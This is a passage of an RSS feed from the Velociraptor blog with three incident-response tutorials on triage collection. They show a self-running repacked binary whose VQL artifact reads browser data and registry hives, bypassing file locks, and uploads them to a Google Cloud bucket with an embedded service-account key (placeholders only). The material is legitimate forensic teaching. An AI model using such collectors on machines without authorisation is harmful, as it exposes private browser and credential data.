&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next we create a bucket to store our collected zip files I will call&#xA;it “velociraptor-uploads-121”:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__ehJ3qfAiaUMNPXoy4mUhEg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Selecting the “Permissions” tab, we are able to add the service&#xA;account as a member — we will only give it the ability to write on a&#xA;bucket and create new objects. This is important since is means that&#xA;the service account is unable to read or list objects in this&#xA;bucket. Since we will embed the service account key in our config file&#xA;we need to make sure it can not be misused to compromise collections&#xA;from other machines.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__vzszs0OjRzdqMRlXbesuNw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;creating-and-embedding-a-customartifact&#34;&gt;Creating and embedding a custom artifact&lt;/h4&gt;&#xA;&lt;p&gt;Now we are ready to create our custom artifact. Our artifact will&#xA;first collect the &lt;strong&gt;KapeFiles&lt;/strong&gt; targets we require into a locally&#xA;written zip file, and then using the above credentials, upload the zip&#xA;file to the cloud. Finally we will delete the temporary file from the&#xA;endpoint. As an added measure of security we specify a password on the&#xA;collected zip file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;autoexec:&#xA;  # These parameters are run when the binary is started without args.&#xA;  # It will just collect our custom artifact and quit.&#xA;  argv: [&amp;quot;artifacts&amp;quot;, &amp;quot;collect&amp;quot;, &amp;quot;-v&amp;quot;, &amp;quot;AcquireAndUploadToGCS&amp;quot;]&#xA;  artifact_definitions:&#xA;    - name: AcquireAndUploadToGCS&#xA;      parameters:&#xA;         - name: GCSKey&#xA;           description: JSON Blob you get from GCS when you create a service account.&#xA;           default: |&#xA;              {&#xA;               &amp;quot;type&amp;quot;: &amp;quot;service_account&amp;quot;,&#xA;               &amp;quot;project_id&amp;quot;: &amp;quot;velociraptor-demo&amp;quot;,&#xA;               &amp;quot;private_key_id&amp;quot;: &amp;quot;XXXXXXX&amp;quot;,&#xA;               &amp;quot;private_key&amp;quot;: &amp;quot;XXXXXXX&amp;quot;,&#xA;               &amp;quot;client_email&amp;quot;: &amp;quot;uploader@velociraptor-demo.iam.gserviceaccount.com&amp;quot;,&#xA;               &amp;quot;client_id&amp;quot;: &amp;quot;XXXXXX&amp;quot;,&#xA;               &amp;quot;auth_uri&amp;quot;: &amp;quot;https://accounts.google.com/o/oauth2/auth&amp;quot;,&#xA;               &amp;quot;token_uri&amp;quot;: &amp;quot;https://oauth2.googleapis.com/token&amp;quot;,&#xA;               &amp;quot;auth_provider_x509_cert_url&amp;quot;: &amp;quot;https://www.googleapis.com/oauth2/v1/certs&amp;quot;,&#xA;               &amp;quot;client_x509_cert_url&amp;quot;: &amp;quot;https://www.googleapis.com/robot/v1/metadata/x509/uploader%40velociraptor-demo.iam.gserviceaccount.com&amp;quot;&#xA;              }&#xA;         - name: bucket&#xA;           default: velociraptor-uploads-121&#xA;         - name: project&#xA;           default: velociraptor-demo&#xA;&#xA;      sources:&#xA;         - queries:&#xA;              # This collects the WebBrowsers target from KapeFiles into&#xA;              # a tempfile, then uploads the tempfile to GCS with the&#xA;              # above credentials.&#xA;              - SELECT upload_gcs(&#xA;                   file=Container,&#xA;                   bucket=bucket,&#xA;                   project=project,&#xA;                   name=format(format=&amp;quot;Collection %s.zip&amp;quot;, args=[timestamp(epoch=now())]),&#xA;                   credentials=GCSKey) AS Uploaded&#xA;                FROM collect(&#xA;                   artifacts=&amp;quot;Windows.KapeFiles.Targets&amp;quot;,&#xA;                   args=dict(WebBrowsers=&amp;quot;Y&amp;quot;),&#xA;                   password=&amp;quot;MyPassword&amp;quot;,   // Use this password to encrypt the zip file.&#xA;                   output=tempfile( extension=&amp;quot;.zip&amp;quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above artifact is fairly easy to read:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using the &lt;strong&gt;collect()&lt;/strong&gt; plugin we are able to collect one or more artifacts into a local zip file. We use the &lt;strong&gt;tempfile()&lt;/strong&gt; function to provide a local filename for us to write on. Note that Velociraptor will clean the temp file at the end of the query automatically. We can also specify a password for encrypting the collection zip file.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;collect()&lt;/strong&gt; plugin returns a single row with the name of the container (i.e. the Zip file we write on). We then call the &lt;strong&gt;upload_gcs()&lt;/strong&gt; function on this file name to upload this file to GCS. We use the credentials we obtained earlier, bucket and project names and finally we rename the uploaded file according to the timestamp.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Next we simply embed this configuration file in the binary as we did in part 2:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;F:&amp;gt; velociraptor.exe config repack config.yaml my_velo.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can send this file to our accomplice and have them run it as an&#xA;administrator to simply collect everything and upload to the cloud&#xA;automatically. Alternatively we can push this binary out via Group&#xA;Policy Scheduled tasks as well, or even via another EDR tool — it&#xA;really does not matter how we get the code executing on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;The below screenshot shows the debug log from running the&#xA;collector. We can see the container finalized, then uploaded to GCS&#xA;with its hashes calculated. When Velociraptor uploads the container to&#xA;GCS, Google’s server calculate the md5 and return it together with&#xA;other object attributes. Velociraptor then compares this hash to the&#xA;one it calculated before to ensure the file landed properly on the&#xA;cloud bucket.&lt;/p&gt;&#xA;&lt;p&gt;Finally, then the temp file is removed and the query is complete.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__PxNDr9zbvyzf__LgecPp__MQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h4&gt;&#xA;&lt;p&gt;This concludes our three part series about triaging with&#xA;Velociraptor. Triaging is about collecting files quickly in order to&#xA;preserve as much of the volatile machine state as possible, then&#xA;quickly analyze the data for evidence of compromise.&lt;/p&gt;&#xA;&lt;p&gt;Although Velociraptor is normally installed as a client/server so it&#xA;is always available on the endpoint, it does not have to be used in&#xA;this way. The key strength of Velociraptor is its flexibility and&#xA;ability to adapt to any situation through the use of the powerful&#xA;Velociraptor Query Language (VQL).&lt;/p&gt;&#xA;&lt;p&gt;Users who feel comfortable writing their own VQL can adapt Velociraptor easily to evolving situations and collect new artifacts quickly. Check out the official &lt;a href=&#34;https://www.velocidex.com/docs/vql_reference/&#34; target=&#34;_blank&#34; &gt;VQL reference&lt;/a&gt;, &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Download the latest version&lt;/a&gt; of Velociraptor from GitHub and join the community of power users.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Triage with Velociraptor — Pt 2</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-10-04_triage-with-velociraptor-pt-2-d0f79066ca0e/</link>
      <pubDate>Fri, 04 Oct 2019 23:50:52 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-10-04_triage-with-velociraptor-pt-2-d0f79066ca0e/</guid>
      <description>&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-04_triage-with-velociraptor-pt-2-d0f79066ca0e/../../img/1__mBMHcMkKxXbyuJcMiGJ1LA.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;a href=&#34;https://medium.com/@mike_89870/triage-with-velociraptor-pt-1-253f57ce96c0&#34; target=&#34;_blank&#34; &gt;previous part&lt;/a&gt; of this series of articles we saw how Velociraptor can be used to automatically collect and preserve files from a remote system. This is great if you have Velociraptor installed as an agent on the endpoint — but what if you (or your customer) does not?&lt;/p&gt;&#xA;&lt;h4 id=&#34;interactive-collection&#34;&gt;Interactive collection&lt;/h4&gt;&#xA;&lt;p&gt;Velociraptor is essentially a query engine. All its operations are controlled by VQL queries normally encapsulated in a YAML files called artifacts. As such it does not really need a server to operate. It is possible to collect those same artifacts interactively on the command line (In this example we collect the KapeFiles artifact as we did in the last part but you can collect any Velociraptor artifact this way):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;F:&amp;gt; velociraptor.exe -v artifacts collect Windows.KapeFiles.Targets --output test.zip --args RegistryHives=Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Invoking Velociraptor with the &lt;strong&gt;artifacts collect&lt;/strong&gt; command specifies that we should collect the artifact interactively. If we also specify the “ &lt;strong&gt;—-output&lt;/strong&gt; ” flag we will collect the result into the zip file. We can then specify any argument to the artifact using the “&lt;strong&gt;—-args&lt;/strong&gt;” flag (which may be specified more than once). If you can not remember which args the artifact takes then simple provide and incorrect arg for Velociraptor to tell you.&lt;/p&gt;&#xA;&lt;p&gt;The example above simply collects all registry hives on the system (Registry hives are typically locked but Velociraptor uses raw NTFS parsing to extract the files from the filesystem — thus bypassing all locks).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-04_triage-with-velociraptor-pt-2-d0f79066ca0e/../../img/1__80qDOPpgzzmmBOo8Pf4sFQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-04_triage-with-velociraptor-pt-2-d0f79066ca0e/../../img/1__A37UEKRaWFP297xls0iEJw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;help-someone-else-collectfiles&#34;&gt;Help someone else collect files&lt;/h4&gt;&#xA;&lt;p&gt;Sometimes in our DFIR work we need to rely on other’s help — sometimes a system administrator or even an end user with limited command line skills. It is unreasonable to expect all our helpers to be able to type the above command line. We need to make it as easy as possible for our accomplices.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor features a method for packing a configuration file within the binary itself. We can use this feature to have Velociraptor automatically execute the correct artifact collection when started without any parameters (or double clicked).&lt;/p&gt;&#xA;&lt;p&gt;Simply create a configuration file with an autoexec field containing all the command line args (let’s call it &lt;strong&gt;myconfig.yaml&lt;/strong&gt; ):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;autoexec:&#xA;  argv: \[&amp;quot;artifacts&amp;quot;, &amp;quot;collect&amp;quot;, &amp;quot;-v&amp;quot;, &amp;quot;Windows.KapeFiles.Targets&amp;quot;,&#xA;         &amp;quot;--output&amp;quot;, &amp;quot;collection\_$COMPUTERNAME.zip&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;WebBrowsers=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;\_BasicCollection=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;WBEM=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;WER=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;WindowsDefender=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;TrendMicro=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;TeamViewerLogs=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;WebBrowsers=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;MOF=Y&amp;quot;,&#xA;         &amp;quot;--args&amp;quot;, &amp;quot;VSSAnalysis=Y&amp;quot;\]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that this config file invokes Velociraptor with a list of KapeFiles targets and instructs the result to be saved to a zip file named after the computer name.&lt;/p&gt;&#xA;&lt;p&gt;Next we simply repack the binary — this effectively copies the config file inside the binary so when the new binary restarts, it automatically loads this config file (and therefore runs the instructions above):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;F:&amp;gt; velociraptor.exe config repack myconfig.yaml my\_velo.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will produce a new binary with our config embedded in it. Now when this binary is run it will immediately begin to collect the targets listed. Note that the collector needs to run as an administrator so typically the user will need to right click, select “Run As Administrator” and click through the UAC dialog:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-04_triage-with-velociraptor-pt-2-d0f79066ca0e/../../img/1__qfSv52u3RLwpoOBqSz1lCg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When complete Velociraptor will leave behind the zip file with all the files in it — ready for sharing with the investigator.&lt;/p&gt;&#xA;&lt;h4 id=&#34;uploading-the-collection&#34;&gt;Uploading the collection&lt;/h4&gt;&#xA;&lt;p&gt;All we need to do now is send our trusted user the repacked binary and instruct them to right click on it and run as administrator. The collected zip file can be large (several Gb) and the user would need to somehow transport the file to us. One way is for us to set up a public writable share and have the file written automatically via a UNC path. This method only works when users are on the corporate LAN and have access to the domain and the file share. Otherwise the user may upload the file manually for us.&lt;/p&gt;&#xA;&lt;p&gt;In the next part we will see how to write the collected zip file to a cloud server instead so they can automatically upload the collected files from any internet connected network.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Triage with Velociraptor — Pt 1</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-10-02_triage-with-velociraptor-pt-1-253f57ce96c0/</link>
      <pubDate>Wed, 02 Oct 2019 13:32:39 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-10-02_triage-with-velociraptor-pt-1-253f57ce96c0/</guid>
      <description>&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-02_triage-with-velociraptor-pt-1-253f57ce96c0/../../img/1__8JNwZw22dHvjNnRAKqFz2g.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This is part 1 of the 3 part series focused around triaging and file collection.&lt;/p&gt;&#xA;&lt;p&gt;Traditionally digital forensic practitioners and incident responders collected disk images to retain evidence in cases of compromise. However in recent times, the size of investigations and the short time frames required, started a trend of more selective evidence collection. Instead of collecting the entire disk, responders now prefer to collect only critical files allowing more rapid triage.&lt;/p&gt;&#xA;&lt;p&gt;However, which files should we collect? Knowing which files to collect and what to do with them was previously reserved for DFIR experts. These days, we have some excellent public resources for this. The best resource for windows systems is probably the &lt;a href=&#34;https://github.com/EricZimmerman/KapeFiles&#34; target=&#34;_blank&#34; &gt;KapeFiles&lt;/a&gt; repository. This is a public repository maintaining a set of &lt;a href=&#34;https://ericzimmerman.github.io/KapeDocs/#!index.md&#34; target=&#34;_blank&#34; &gt;Kape&lt;/a&gt; configuration files. Kape is an excellent tool geared at file collection — simply acquiring various files of interest from a system for triage purposes.&lt;/p&gt;&#xA;&lt;p&gt;Although Kape itself is not open source, the KapeFiles repository is a community project available under the MIT license. It therefore seemed like a perfect way to leverage the specialist DFIR knowledge from the community and develop a useful Velociraptor artifact based on this knowledge.&lt;/p&gt;&#xA;&lt;p&gt;This article outlines this new artifact and how it can be used to collect triaged files quickly and efficiently.&lt;/p&gt;&#xA;&lt;h4 id=&#34;the-kapefiles-repository&#34;&gt;The KapeFiles repository&lt;/h4&gt;&#xA;&lt;p&gt;Kape parses a set of &lt;strong&gt;Target&lt;/strong&gt; files (with &lt;strong&gt;.tkape&lt;/strong&gt; extension). These files essentially specify a set of file globs (i.e. paths with wild cards) specifying files to collect. Kape also supports targets referring to other targets thereby expressing higher level targets in terms of lower level targets. For example selecting the &lt;strong&gt;WebBrowsers.tkape&lt;/strong&gt; target, will include all glob expressions specified in &lt;strong&gt;Chrome.tkape, FileFox,tkape&lt;/strong&gt; etc.&lt;/p&gt;&#xA;&lt;p&gt;When using Kape to collect files, the user specifies one or more &lt;strong&gt;Targets&lt;/strong&gt; which are then collected into a directory, or some container (e.g. Zip file).&lt;/p&gt;&#xA;&lt;p&gt;Previous versions of velociraptor added several VQL artifact definitions based on the KapeFiles repository, but these were hand written and difficult to maintain in sync with the public contributions to the KapeFiles repository.&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;a href=&#34;https://github.com/Velocidex/velociraptor/releases/tag/v0.3.4&#34; target=&#34;_blank&#34; &gt;release 0.3.4,&lt;/a&gt; Velociraptor has a script that automatically parses out Kape target files and generates a Velociraptor artifact with the same targets and globs — thereby creating a functionally equivalent artifact to the KapeFiles repository.&lt;/p&gt;&#xA;&lt;h4 id=&#34;collecting-files-from-theendpoint&#34;&gt;Collecting files from the endpoint&lt;/h4&gt;&#xA;&lt;p&gt;To collect files, simply select the &lt;strong&gt;Windows.KapeFiles.Targets&lt;/strong&gt; artifact from the &lt;strong&gt;Collected Artifacts&lt;/strong&gt; screen in the GUI. After adding the artifact to our collection (by clicking &lt;strong&gt;Add&lt;/strong&gt;) we see a list of targets with check boxes next to them. Each target may invoke several rules (and therefore collect different files), but the dependencies are listed next to the target.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-02_triage-with-velociraptor-pt-1-253f57ce96c0/../../img/1__9OLhR0z9EbEPbIBY9Dv3aQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Selecting the Windows.KapeFiles.Targets artifact for collection on an endpoint.&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Selecting the Windows.KapeFiles.Targets artifact for collection on an endpoint.&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;Selecting the Windows.KapeFiles.Targets artifact for collection on an endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Selecting one or more targets will collect those files from the endpoint to the Velociraptor server. Once the files are fully collected to the server, you can download them as a zip file on demand by clicking the “Prepare Download” button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-02_triage-with-velociraptor-pt-1-253f57ce96c0/../../img/1__T7To9XETRYO3R7jP__U1mSg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When the collection is complete, we can click the &lt;em&gt;“Prepare Download”&lt;/em&gt; button which will prepare a Zip file on the server for us to download.&lt;/p&gt;&#xA;&lt;h4 id=&#34;triaging-asystem&#34;&gt;Triaging a system&lt;/h4&gt;&#xA;&lt;p&gt;What can we use this for? Suppose you suspect a compromise. It is imperative to preserve as much of the evidence as possible, as quickly as possible.&lt;/p&gt;&#xA;&lt;p&gt;Running the Kape target &lt;strong&gt;BasicCollection&lt;/strong&gt; will collect a lot of interesting files, including the &lt;strong&gt;$MFT&lt;/strong&gt;, &lt;strong&gt;event logs&lt;/strong&gt;, &lt;strong&gt;prefetch&lt;/strong&gt;, &lt;strong&gt;amcache&lt;/strong&gt; among many other files. This helps us to preserve as much of the state of the system as we think will be relevant for our investigation in future.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the total amount of data collected we may also issue this collection on one or more machines. Triaging will capture and preserve the evidence. We can then parse it with other tools externally and just keep the snapshot.&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-if-velociraptor-is-not-installed-on-our-endpoints&#34;&gt;What if Velociraptor is not installed on our endpoints?&lt;/h4&gt;&#xA;&lt;p&gt;If Velociraptor is not installed on the endpoint, we have a number of options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.velocidex.com/docs/getting-started/deploying_clients/&#34; target=&#34;_blank&#34; &gt;Install it&lt;/a&gt; using group policy&lt;/li&gt;&#xA;&lt;li&gt;Temporarily run it using group policy scheduled tasks (so called &lt;a href=&#34;https://www.velocidex.com/docs/getting-started/deploying_clients/#agentless-deployment&#34; target=&#34;_blank&#34; &gt;Agentless mode&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Interactively collect triaging files by running in interactive mode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://medium.com/velociraptor-ir/triage-with-velociraptor-pt-2-d0f79066ca0e?source=friends_link&amp;amp;sk=b3b902227634160e0f9703338fb25586&#34; target=&#34;_blank&#34; &gt;next part&lt;/a&gt; of this series will discuss how to interactively collect triage files while physically (or remotely) logging into the machine.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor’s client side buffer</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-09-11_velociraptor-s-client-side-buffer-3ce03697a4e6/</link>
      <pubDate>Wed, 11 Sep 2019 00:31:39 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-09-11_velociraptor-s-client-side-buffer-3ce03697a4e6/</guid>
      <description>&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-09-11_velociraptor-s-client-side-buffer-3ce03697a4e6/../../img/1__SLf0Z8PXOXTWfjXyuTk__Xg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The recent &lt;a href=&#34;https://www.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velociraptor&lt;/a&gt; &lt;a href=&#34;https://github.com/Velocidex/velociraptor/releases&#34; target=&#34;_blank&#34; &gt;release&lt;/a&gt; (0.3.3) features a client side buffer. What does this do and how does it change Velociraptor’s approach to incident response?&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-a-localbuffer&#34;&gt;What is a local buffer?&lt;/h3&gt;&#xA;&lt;p&gt;The Velociraptor client is really just a (Velociraptor Query Language) VQL execution engine. When collecting an artifact, the client running on the endpoint, simply executes the VQL and streams rows from the query to the server as they occur.&lt;/p&gt;&#xA;&lt;p&gt;Previously the client would attempt to upload the rows periodically to the server, and while this upload was taking place, the VQL query was paused. If the server was unavailable (for example if the endpoint was not on the internet), the VQL query simply paused until the rows could be sent.&lt;/p&gt;&#xA;&lt;p&gt;In the recent 0.3.3 release we introduced a local file buffer between the execution engine and the server communication thread. Now the Velociraptor client’s VQL engine operates independently of the communication thread, and is not paused if the server is not reachable. This is illustrated in the diagram below:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-09-11_velociraptor-s-client-side-buffer-3ce03697a4e6/../../img/1__6BhCwfeFhoO0Jf4UP3g25Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;By default the file on disk is allowed to grow to 1GB in size, but usually it is truncated to zero bytes if the client is online and communicating with the server.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-does-a-buffer-file-allows-us-todo&#34;&gt;What does a buffer file allows us to do?&lt;/h3&gt;&#xA;&lt;p&gt;Using a file on disk allows us to run the VQL query as quickly as possible. For example, some artifacts require collection of many files. Since network traffic is typically much slower than disk activity, previously we were only able to collect data at the speed at which we could send it on the network. An artifact collection could take quite some hours if there was a lot of data to upload and a slow network link.&lt;/p&gt;&#xA;&lt;p&gt;With the new system we are allowed to buffer up to 1GB of data (which also includes uploaded files) before we have to pause the query. This allows many artifacts to completely finished — even if the client is not online. Later when then client resumes connection with the server, that data can be uploaded over time — even if the network is very slow.&lt;/p&gt;&#xA;&lt;h3 id=&#34;event-monitoring-queries&#34;&gt;Event Monitoring queries&lt;/h3&gt;&#xA;&lt;p&gt;One of the differences between Velociraptor and other tools is that VQL queries allow us to build a complete monitoring and response framework.&lt;/p&gt;&#xA;&lt;p&gt;Typically EDR tools deploy sensors which collect data and feed it to a back-end system. Processes on the back-end system detect anomalous activity and respond to this either by gather more information or alerting. This long latency round trip between detection and response delays the response activity and is only possible when the client is connected and online.&lt;/p&gt;&#xA;&lt;p&gt;With the recent Velociraptor release, we can deploy monitoring VQL artifacts which simply watch the endpoint for certain events. These events can then be automatically acted upon — typically to implement response actions (e.g. kill a bad process) or to enrich the event information collected (e.g. acquire extra hashes or the binaries of suspicious files).&lt;/p&gt;&#xA;&lt;p&gt;Because the file buffer allows the VQL engine to operate even when the client is not online, VQL event monitoring queries are not interrupted and continue to work autonomously without involvement from the server.&lt;/p&gt;&#xA;&lt;h4 id=&#34;example-office-macros-on-thumbdrive&#34;&gt;Example: Office macros on thumb drive&lt;/h4&gt;&#xA;&lt;p&gt;An example of an event monitoring artifact is the &lt;strong&gt;Windows.Detection.Thumbdrives.List&lt;/strong&gt; artifact. This artifact watches for any newly inserted USB thumb drive and simply lists the files on it. In some environments it is interesting to see any newly added files on a USB removable drive.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    